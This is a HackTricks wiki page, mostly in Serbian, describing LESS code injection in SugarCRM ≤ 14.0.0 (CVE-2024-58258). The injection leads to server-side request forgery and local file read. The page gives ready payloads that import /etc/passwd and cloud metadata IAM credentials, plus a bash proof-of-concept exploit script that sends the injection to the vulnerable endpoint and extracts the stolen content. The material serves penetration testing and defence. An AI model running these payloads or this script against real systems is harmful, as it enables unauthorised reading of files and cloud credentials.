LESS Code Injection leading to SSRF & Local File Read
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
LESS je popularan CSS pre-procesor koji dodaje promenljive, mixine, funkcije i moćnu @import direktivu. Tokom kompilacije, LESS engine će fetch the resources referenced in @import izjavama i ugraditi (“inline”) njihov sadržaj u rezultujući CSS kada je opcija (inline) korišćena.
Kada aplikacija konkatenira user-controlled input u string koji kasnije parsira LESS compiler, napadač može inject arbitrary LESS code. Zloupotrebom @import (inline) napadač može naterati server da preuzme:
- Lokalni fajlovi putem
file://protokola (otkrivanje informacija / Local File Inclusion). - Udaljeni resursi na internim mrežama ili cloud metadata servisima (SSRF).
Ova tehnika je viđena u realnim proizvodima kao što su SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).
Exploitation
- Identifikujte parametar koji je direktno ugrađen unutar stylesheet stringa koji obrađuje LESS engine (npr.
?lm=u SugarCRM). - Zatvorite trenutnu naredbu i injektujte nove direktive. Najčešći primitivni tokeni su:
;– završava prethodnu deklaraciju.}– zatvara prethodni blok (ako je potrebno).
- Koristite
@import (inline) '<URL>';da pročitate arbitrarne resurse. - Opcionalno injektujte a marker (
data:URI) nakon importa kako biste olakšali ekstrakciju preuzetog sadržaja iz kompajliranog CSS-a.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Sadržaj fajla /etc/passwd pojaviće se u HTTP odgovoru neposredno pre markera @@END@@.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Automatizovani PoC (primer SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Stvarni slučajevi
| Proizvod | Ranljiv endpoint | Uticaj |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Neautentifikovan SSRF i čitanje lokalnih fajlova |
Reference
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

